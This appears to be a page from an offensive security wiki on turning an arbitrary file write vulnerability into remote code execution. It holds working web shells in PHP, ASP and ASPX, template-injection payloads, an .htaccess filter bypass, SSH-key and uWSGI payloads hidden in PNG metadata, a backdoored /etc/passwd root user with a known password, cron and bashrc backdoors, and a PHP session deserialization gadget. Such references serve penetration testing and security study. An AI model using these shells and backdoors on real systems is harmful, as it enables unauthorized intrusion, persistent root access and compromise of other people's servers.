Arbitrary File Write

Being able to create or overwrite files on a server, often causing Remote Code Execution (RCE)

Using techniques similar to Local File Disclosure, it may be possible to write files at arbitrary locations on a system. An easy way to confirm if this is the case in a blind scenario is to try to write a file to special locations and observe any errors or responses:

  • /tmp should always work because every user has all permissions here

  • /root likely won't work if you are not the root user, and may result in "Permission denied"

  • /nonexistant or any random name may give an error saying the directory wasn't found

Then, depending on the system, you need to decide what file to create or overwrite. Many ways exist to obtain Remote Code Execution but there often isn't one silver bullet that always works, so this requires some experimenting and knowledge of the server's backend.

This page collects some known ways to achieve RCE or other privileged access on the server. When a method does not require completely controlling the full content of the file, it is considered a 'dirty' write because random data may come before or after it.

Overwriting Code

One simple and often consistent way to execute arbitrary commands is to write your own code in a file that the server executes. This may be direct source code or other files that include code like templates which will be executed.

Source Code

Note: Even if you overwrite source code, it might not be directly executed when you visit the page because it is compiled and won't be reloaded until the server is restarted. You may be able to trigger this by crashing the server, or just be patient until this happens naturally.

PHP (.php, .php7, .phtml, .phar, etc.) - dirty

shell.php
<?php system($_GET["cmd"]) ?>

Bypass <?php filter with alternative prefixes:

<?= system($_GET["cmd"]) ?>  // Universal (echo's result automatically)

<?system($_GET["cmd"])?>  // Supported on some servers

<script language="php">system($_GET["cmd"])</script>  // PHP < 7
Shortest (14-15 bytes)
// Execute with /shell.php?0=id
<?=`$_GET[0]`;

<?=`$_GET[0]`?>ANYTHING

Python (.py, .pyc)

shell.py
__import__("os").system("id > /tmp/pwned")

You can also create a compiled .pyc file which can be executed just like any other source code file:

python3 -c '__import__("py_compile").compile("shell.py", "shell.pyc")'

JavaScript (.js, .mjs)

shell.js
require("child_process").execSync("id > /tmp/pwned").toString()

C# ASP.NET (.asp, .aspx) - dirty

shell.asp
<!-- Source: https://github.com/tennc/webshell/blob/master/asp/webshell.asp -->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>
shell.aspx
<!-- Source: https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx -->
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">      
Sub RunCmd(Src As Object, E As EventArgs)            
  Dim myProcess As New Process()            
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
  myProcessStartInfo.UseShellExecute = false            
  myProcessStartInfo.RedirectStandardOutput = true            
  myProcess.StartInfo = myProcessStartInfo            
  myProcessStartInfo.Arguments=xcmd.text            
  myProcess.Start()            

  Dim myStreamReader As StreamReader = myProcess.StandardOutput            
  Dim myString As String = myStreamReader.Readtoend()            
  myProcess.Close()            
  mystring=replace(mystring,"<","&lt;")            
  mystring=replace(mystring,">","&gt;")            
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
End Sub
</script>

<html>
<body>    
<form runat="server">        
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
<p><asp:Label id="result" runat="server"></asp:Label>       
</form>
</body>
</html>

Templates - dirty

If source code is not writable or isn't reloaded, another simple method is overwriting templates that can execute code. There are many different templating engines that all use their own syntax and context, some more restricted than others. But most of them have ways to execute arbitrary code or at least read some secrets. Read the full Server-Side Template Injection page to see if your case fits:

Here are a few easy examples:

shell.html (Jinja2)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
shell.html (Nunjucks)
{{ range.constructor("return global.process.mainModule.require('child_process').execSync('id')")() }}
shell.ejs (EJS)
<%= process.mainModule.require("child_process").execSync("id").toString() %>

Configuration Files

If you cannot directly write or execute source code, the configuration of an application or server can often also have large exploitable areas. You may be able to set shell commands directly in here, or change the configuration in some way to aid another method.

.ssh/authorized_keys - dirty

When SSH is set up on a server, every shell user can have an .ssh/ directory inside their home directory containing their public and private key, as well as an authorized_keys file that contains all the public keys allowed to log in as this user, separated by newlines.

When you have access to SSH port 22 on a server, this is often a very clean way to execute code as the target user. You can grab your own public key from ~/.ssh/id_rsa.pub or generate one with ssh-keygen if you haven't already, then write its contents to the /home/$USER/.ssh/authorized_keys file on the server and log in:

~/.ssh/authorized_keys
ssh-rsa AAAA...wzE=
ssh $USER@$IP

Default installations of SSH don't allow logging in as root. To check this look at the PermitRootLogin option in /etc/ssh/sshd_config:

$ grep PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin yes

SSH only splits this file by \n newline characters and parse all sections as possible public keys. That means a dirty write where random data is before and/or after our payload is possible to exploit by adding newlines before and after our public key. Create a valid PNG that is also a backdoored authorized_keys file, for example:

exiftool -Comment=$'\nssh-rsa AAAA...wzE=\n' example.png

Apache .htaccess

When uploading files, rules are often set on the upload directory to prevent .php files from executing, or these extensions are simply blocked by a filter. In such cases, a file named .htaccess could configure an Apache server to change the behaviour of a directory.

The main idea is to add another file extension that you are allowed to upload to be able to execute PHP code, and you can even specify an encoding like UTF-7 to bypass filters. See the following writeup for an example of exploiting this from start to finish:

.htaccess
# Allow .asp files to be served as PHP
AddType application/x-httpd-php .asp
# Set the encoding to UTF-7
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
shell.asp
+ADw-?php+ACA-system(+ACQ-+AF8-GET+AFs-+ACI-cmd+ACI-+AF0-)+ACA-?+AD4-

The repository below shows some more techniques using .htaccess file to get RCE:

uWSGI magic variables - dirty

Using the @() syntax, you can define uWSGI configuration anywhere in a file that executes system commands when loaded. Similar to the authorized keys, this can be put into PNG metadata, for example, which will include it in a valid PNG image:

exiftool -Comment=$'\n[uwsgi]\nfoo = @(exec://id > /tmp/pwned)\n' example.png

Payloads can be locally tested using the following command:

uwsgi --ini example.png

When written to the server, it may take some time before the payload is executed. If the server is configured to auto-reload using the py-auto-reload = configuration variable it may happen automatically, but otherwise, you need to either force a restart by crashing the application or just wait until a server admin does it for you.

Environment and Settings

Overwriting the settings of an application can have a significant effect on security. As the above showed, there are often many sensitive options and you just have to find them in the documentation or with some educated guessing.

Some formats like YAML may even be so complex that they allow arbitrary instantiation of classes, resulting in Insecure Deserialization. Keep this in mind when evaluating overwriting such a config file, that you don't necessarily need to exploit an option if you can exploit the format itself.

Database/storage files

Some databases like SQLite store all their data in local files. While this makes it simple, it also allows you to overwrite these files with any data of your choice. Suddenly, you control every bit of data, expanding the attack surface greatly as developers might not expect some generated data to be user-controlled.

One common example is through Deserialization exploits like session data. Other applications might also store custom bits of data that are included in shell commands. After locally creating the same database structure with your injected data, write the file to the location. Often a reload is not required as databases change all the time, so it should instantly have an effect.

root /etc/passwd

The root user may edit /etc/passwd to add another root-level user with your own password. Then you can log in as that user and get root privileges:

$ openssl passwd 'hacker'  # Generate password
aQeFa8LxllpT.

Then if you somehow append the following line to the /etc/passwd file, you will be able to log in as root using the password "hacker":

root:x:0:0:root:/root:/bin/bash
...
hacker:aQeFa8LxllpT.:0:0:root:/root:/bin/bash
$ ssh hacker@$IP
Password: hacker
# id
uid=0(root) gid=0(root) groups=0(root)

Shell Scripts

Shell scripts inherently execute shell commands, often being the end goal of exploiting an arbitrary file write vulnerability. Therefore, they should be large targets and are often easy to exploit.

Some scripts execute on a schedule to automatically exploit, others are triggered by some action on the application or server, and you could even backdoor profile scripts that run when an admin interactively logs in.

Cron Jobs

Cron Jobs are scheduled tasks on a Linux system that are automatically triggered by the daemon. Here, you can create a file that executes every minute, for example. The next time this minute is triggered your payload will execute. The syntax for such a file looks something like this:

Cron syntax
# m h dom mon dow command
* * * * * id > /tmp/pwned

There are multiple places for such files, but often these are only writable by the root user.

  • /etc/crontab: Cron syntax for global use by any user.

  • /etc/cron.d: Directory containing files with cron syntax often separated per application.

  • /var/spool/cron/crontabs/$USER: File per user with cron syntax, often edited manually with crontab -e. The filename is the username it executes as.

  • /etc/cron.hourly, .daily, etc.: Bash scripts that cron will also execute every hour, day, week or month. These may be dirty too as they are only bash scripts and don't require special syntax.

Bash Profile - dirty

Another way is creating a backdoor in the user's home directory. For Bash, the ~/.bashrc file is most common as it executes in any non-login interactive shell. However, for login shells like SSH, a few more are executed in the following order. The first readable file is the only one that executes:

  1. ~/.bash_profile

  2. ~/.bash_login

  3. ~/.profile

Often the above files execute ~/.bashrc as well to make sure login shells work similarly to non-login ones, so this is often your best bet. Here is a table that shows what Bash by itself:

CommandExecute ~/.bashrc?Execute ~/.bash_profile?

bash -c [command]

NO

NO

bash [command]

NO

NO

echo [command] | bash

NO

NO

[command]

NO

NO

ssh ... [command]

YES

YES

login, bash -l

NO

YES

bash

YES

NO

See this article to get a full understanding, as well as the source code.

As this only requires writing a bash script at the location, it may include any other garbage data before/after your payload if only it is separated by newlines. Bash will ignore syntax errors and keep executing commands until it exits or the end of the file is reached:

exiftool -Comment=$'\nid > /tmp/pwned\n' example.png
# test it locally:
bash example.png

Deserialization

Common places to find such data are session files, as these often map a session ID to an object with all properties of a user. If you can overwrite these you may be able to invoke an Insecure Deserialization the next time you use that session ID and the application tries to load its data.

In PHP, these are stored by default in the /var/lib/php/sessions/ directory with names like sess_[PHPSESSID] where your PHPSESSID cookie is inserted into the path. That means you can write a file like /var/lib/php/sessions/sess_exploit with a malicious serialized payload, and when you visit the page with a PHPSESSID=exploit cookie you will trigger the deserialization payload when session_start(); is called.

Here's an example where we set the x property of $_SESSION to a custom deserialization gadget:

Example PHP gadget
class Gadget
{
    public $command;
    function __construct() {}
    function __wakeup() {
        if (isset($this->command)) {
            system($this->command);
        }
    }
}
sess_exploit
x|O:6:"Gadget":1:{s:7:"command";s:15:"id > /tmp/pwned";}

Last updated